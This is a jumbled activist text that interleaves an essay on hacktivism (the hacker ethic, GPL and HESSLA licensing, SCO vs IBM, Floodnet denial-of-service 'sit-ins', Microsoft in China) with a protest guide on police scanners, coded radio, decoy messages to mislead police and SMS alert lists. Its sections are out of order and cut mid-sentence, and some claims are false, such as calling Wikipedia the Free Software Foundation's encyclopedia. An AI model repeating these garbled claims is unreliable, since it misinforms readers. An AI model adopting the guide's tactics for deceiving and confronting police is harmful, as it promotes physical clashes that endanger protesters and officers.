the CyberCrime and Digital Law Enforcement Conference at Yale Law School. "DoS' (denial of service) attacks (carried out by the CAE, EDT, etc) "smelled like the same cheap hacks were being elevated to political protests when they weren't more than script kiddie antics in drag. That "digital disobedience or cyber sit-ins" were not synonymous with hacktivism.

Instead Ruffin came up with a modified form of Richard Stallman's the "Hacktivism Enhanced Source Software License Agreement." He used the Universal Declaration of Human Rights (UDHR) as the basis of it. The UDHR was developed in 1948 in the General Assembly of the United Nations to avoid the atrocities committed during World War II. Its main purpose

The HESSLA license follows the declaration that:
Both Hacktivism and its end-users to go to court if someone tries to use software in a malicious manner, or to introduce harmful changes. It also contains more robust language than has previously been seen in enforcement against governments around the world.

Any government or institution guilty of human rights violations should be prosecuted if caught using software with this license. Although it has never debut in the court systems, it remains a symbolic act of defiance and has sprouted in other scalable and effective forms.

However, many hackers feel that the GPL and HESSLA license do not help in defending the open source movement. Corporations like SCO are not actively working together to sue major distributors of Linux. Because of their economic advantage and influence in the court system, they have been successful in bringing charges against the Linux community for allegedly stealing of "copyrighted" SCO UNIX source codes. Hackers, left with no other options taken matters in their own hands by directly attacking SCO servers. They started out with simple DDOS attacks which shut down servers for hours (Wagner) but have evolved into more complex attacks such as web defacement (Barr) and even worms and viruses infecting hundreds of thousands

The power now lies in computer networks. It is in the form of Disobedience (ECD)." The "nomadic" power of the corporation must be fought against on the Internet. The CAE believes that:

"The expertise hackers develop in the technologies of cyberspace is an imbalance of power that activists are seeking to redress. ECD's effects are not by increasing the numbers of bodies involved in protest, but by using the expertise of hackers to increase their political effectiveness (2005)

Within two years of the CAE's call for the politicization of hacktivism, they developed a "theory and artform all in one." It was called Floodnet. It was developed by "four artist-hacker-activists" under a new group called "Electronic Disturbance Theatre" (EDT). Stalbaum explained that it is an "example of conceptual net.art [sic] that empowers people through activist/artistic expression." According to the CAE's website, in support of the "digital resistance" against globalization capitalism, "click a link, leave the browser open, and the Floodnet Applet will automatically reload the target web page every few seconds (Stalbaum)."

The CAE first launched their Floodnet tools against websites critical of "Mexican neo-liberalism" in solidarity with the Zapatista resistance. These actions were defined as a "virtual sit-in," which parallels sit-ins on city streets. The Floodnet script deliberately makes an invalid request for keywords such as "human_rights." The targeted server will then respond with "human_rights not found on this server (Stalbaum)." Other hacktivist groups including the Electrohippies Collective also launched similar actions on groups like the World Trade Organization to coincide with major protests. The hippies "claimed that the action was successful in slowing down conference networks being constantly slowed, brought to a complete halt on two occasions and with 450,000 people participating over five days."

This sort of online direct action is disputed as "hacktivism" by some. A prominent member of the Cult of the Dead Cow, Oxblood claimed

you're not under the pressure of police oppression. If it seems like you're talking too fast for you to get everything they are saying, just slow down and piece that you do get and if you don't know what the codes mean look them up. You should be familiar with the way the radio is used to talking. No radio operator will ever talk using familiar words on the radio, they will use badge numbers, police codes, and a phonetic

You should be able to understand what the officers are saying without a phonetic alphabet. The phonetic alphabet is used by communicators to clarify letters and spellings. When listening to the cops they use peoples names, DOB, license plates, and pretty much everything. You should think of using a phonetic alphabet. A copy of the phonetic alphabet is available at: hackbloc.org/alxciada/phonetic.txt

It's very important that you be discreet when using a scanner. Don't make people think you are a cop or some kind of undercover not to lose trust. A good idea would be to keep it hidden and run a pair of headphones. It's like a Walkman, this will also allow you to hear it a lot better. Don't get pretty loud on the streets. MAKE SURE the cops don't see the scanner. The person with the scanner will have to help move the bloc away. If the cops identify you as someone important or taking a leadership role they will single you out and try and arrest you.

When the action starts the radio will be going off like crazy. If you're on a break-away march away from a larger contingent catches the off guard. A common tactic of the police is to trap this group on a smaller area and circle them and make arrests. The person with the police scanner should be aware of this and watch out for this being setup. Also listen to reports of people being arrested, get their names, DOB, and any info that you think is useful. Stay in a legal situation. Make sure if you're staying with the group that you know where the front of the group is and where the back is, the cops will be moving this every few blocks. This is important to make sure that one person doesn't fall behind of the others.

Other Communication Techniques

Walkie-Talkies should only be used if no other means of communication are available. Walkie-talkie can be monitored very easily, so all messages should be encrypted. Things that relate to your tactics and positions should always be said using a code and if possible spread through other means of radio. You do not need to encrypt everything, these radios can be used for messages like calling for a medic, telling the group to stick together when the police are attacking. Things like this that are not critical information that could hurt your bloc do not need to be encrypted and should be said to as many people as possible to get the help you need. All those who use the radio should have a one-time-use nick name that will conceal their identity when using the radio. Same goes for the code, you should change your code as often as possible. Obviously the downside of this is that the new code will be known to everyone but it will improve your chances of keeping your communications secret. Another good trick is to send false info over the radio to distract after one target while actually going to another. Make it seem like you are maybe one member will announce a fake target and another will be seen saying that this is not secure and no more talk about the target. This could be discussed. Maybe even send a small group in that direction as a distraction. This could allow you to catch the police off guard if the cops are looking for it it could buy you the time you need to make it to your real target.

One idea that has been very effective in spreading tactical information is setting up a tactical short message system (SMS) mailing list. This involves updates to trusted members of the bloc's cell phones. It has worked at the Republican National Convention and the Democratic National Convention to spread tactical information to the different groups. Almost all cell phones have an e-mail address that you can send short text messages. This can be used to update your fellow freedom fighters with information dealing with movements, or as an alternative to using 2 way walkie-talkie. Your e-mail address will be your 10 digit phone number @ and address based on the carrier. An example for verizon cell phones it will be [10 digit phone number]@vzw.com. If you don't know what your phones e-mail address is here is a

"controlled access," the GSP agreement allows the participating countries to "undertake research projects in the field of information security" and states that the Chinese government can spy (and punish) on its people for using its products. Microsoft has profited from the deprivation of first-hand information of the Chinese people.

Hackers have declared the inherent mistrust of authority figures and the repressive actions of large corporations and governments. The hacker community has responded by innovating tools to counter cyber oppression through the use of censorship. Hackers and activists are working together to apply non-violent disobedience tactics on the internet. The "Hands-On Imperative" has been re-appropriated to "direct action" which generates activity liberating the people and the same time challenging the law.

Hackers have been able to overcome censorship by creating decentralized distribution networks. These networks remain anonymous and secure because they require all users in the network to share data in small parts. Networks have emerged such as "peekabooby," "six/four" and "Freenet." Another example is sourceforge.net, a website that fosters the open source community. It is free software designed to ensure true freedom of communication on the internet. It allows anybody to publish and read information with complete anonymity."

In addition to developing technology to defend freedom on the internet, hackers have staged attacks against those responsible for oppression. The hacker community insightfully states, "The rise of hacktivism has not superseded previous hacker politics, but has reconfigured it within a broader social landscape" (2002). The Critical Arts Ensemble (CAE) was established in 1996, arguing that the onset of the Internet will create a space in which traditional laws becomes an ineffective means of enforcement. The CAE states, "Having rid itself of its national and urban bases to wander in the digital electronic pathways, can no longer be disrupted by strategies of physical contestation of sedentary forces (Jordan 2004)." Groups like the CAE are coinciding online protests with street actions.

property for the Unix operating system has sued IBM for more than \$1 billion. Chris Sontag, Senior Vice President of SCO claimed that IBM "has used their Linux work with inappropriate knowledge from Unix." However, SCO stands unsupported in this legal battle. Microsoft, a multibillion-dollar software corporation and an advocator of proprietary source code, is financially backing SCO's legal defense. In another article, SCO reported that Microsoft gave a total of \$16.6 million dollars for SCO's license, according to regulatory filings." Corporations like Microsoft are using their economic superiority to undermine the free-software movement because it threatens their profit in the industry.

Corporations are not the only entity working against the free software evolution. The U.S. Department of State, in a release made by the National Endowment for Democracy admits that the Chinese government:

Continued to suppress political, religious and social groups, and individuals, that it perceived to be a threat to regime power and stability. The Government's human rights record remained poor, and the Government continued to commit numerous and serious abuses. It continued to restrict social, political or religious groups to organize or act independently of the Government and the Communist Party. Those who tried to act independently were often harassed, detained or abused by the authorities.

Nick Mathaiison, a writer for the Observer reported Microsoft's efforts used to censor the Internet to the Chinese government. It has "the jailing of its political opponents" Mathaiison continues to explain. The International "has cited Microsoft for helping fuel 'a dramatic increase in the number of people detained or sentenced for internet-related offenses'.

In its press release, Microsoft declared that it signed an agreement with Chinese authorities to "provide national governments with controlled access to Microsoft and Windows source code." The agreement called "Government Security Program" is "tailored to the specialized security requirements of governments that permit them to control information in an "appropriate way

common providers.

AT&T - @mobile.att.net

Cingular - @mobile.mycingular.com

Nextel - @messaging.nextel.com

Sprint - @messaging.sprintpcs.com

T-Mobile - @tmomail.net

Verizon - @vtext.com

The idea would be to have a mailing list where one user can send a message to an address which in turn would send it to all the members of the bloc registered on this list. If you are in a really large bloc you could have a cluster mailing list where each affinity group could have their own mailing list, say group1@mailinglist.net group2@mailinglist.net group3@mailinglist.net. Those addresses will be registered on another mailing list say bloc@mailinglist.net so that messages that only concern a certain bloc are sent within the group while larger messages that affect everyone can be sent to the entire bloc using the bloc@mailinglist.net.

If you change your mailing list address often and verify all the addresses, the chance of police intercepting your tactical information is reduced. The downside is of course the amount of time it takes to type a message using a cell phone might not be available when your smashing the phone. Other forms of communication should still be used.

This article only touches the surface of how we can improve our tactical and information gathering skills, tips discussed in this article are just the beginning. To pose a real threat to the powers of the state we need more of our time training for upcoming actions. Our enemies take training seriously and so should we. We should start training people to use the use of equipment and skills. Not only those discussed in this article but you can think of to keep our tactics new and creative. The more tactical we become the less the police can prepare to counter them. The time we meet the cops in battle, they won't know what hit them.

```
#####  
# 18. Beyond Physical Borders: Hacking and Activism on the Net  
#####
```

The combination of activism, the Internet and hacking is hacktivism. Hacktivism is an abstract concept that can be partially defined in the "hacker ethic," as defined by Levy's Hackers:

- 1) Access to computers- and anything which might connect you to the world works should be unlimited and total. Always yield to the Imperative!
- 2) All information should be free.
- 3) Mistrust Authority - Promote Decentralization
- 4) Hackers should be judged by their hacking, not bogus criteria such as degrees, age, race or religion.
- 5) You can create art and beauty on a computer.

Free information, although described by Levy as an ethic, is more a core value for which the hacker ethic achieves. It demands universal availability. However there are forces opposing its existence. Governments are threatened and have responded to hackers by attacking free communication as they progress toward the free information society. Hacktivism is the active struggle to materialize free societies and the hacker ethic.

The concept of unlimited computer access for the sake of learning (the hacker ethic) is manifested by a variety of organizations. Such as free softwares, education, music and free network availability collectives naturally adhere to the fundamental belief that all should be free (the second hacker ethic).

The free software movement has its roots with Richard Stallman's GNU, which stands for "Gnu's Not Unix. GNU is a model for soft-

release their code free from the threat of privatization. This is the General Public License, or the GPL. According to the website, the GPL is constructed to assure that software developers "have the freedom to copy, modify, distribute and improve the software. You are permitted to copy copies of free software, receive source code, and change the software to suit your pieces of it in new programs. The GPL assures that this is accomplished specifically stating:

- 1) Changes to existing free software must be made known to its users if it was modified.
- 2) All softwares released under the GPL "must be licensed for everyone to use or not licensed at all.

The successes of the open source movement have inspired programmers to release their code under the GPL. For example, sourceforge.net provides a platform for people to release their projects (which currently numbers around 1000). Other institutions have adapted the open source GPL model. The Free Software Foundation's encyclopedia Wikipedia encourages people to contribute and edit articles. The open source movement is implementing democratic methods such as page history and discussion.

Universities are also contributing to the open source movement by releasing course materials and lectures free of charge. For example the OpenCourseWare project at MIT has set a new standard for higher education. Charles Vest, President of MIT, in the annual report explained that:

"The computer industry learned the hard way that closed software development on a framework of proprietary knowledge - did not fit the world we had created. The organic world of open software and open systems is the wave of the future. Higher education must learn from this. We must develop knowledge systems as the new framework for teaching and learning."

Although these intuitions have taken the initiative to spread the open source, giant corporations (and governments alike) are vehemently opposing its development. A major milestone case is SCO vs. IBM. Stephen O'Grady, writer of CNET News.com reported that SCO, the "inheritor of the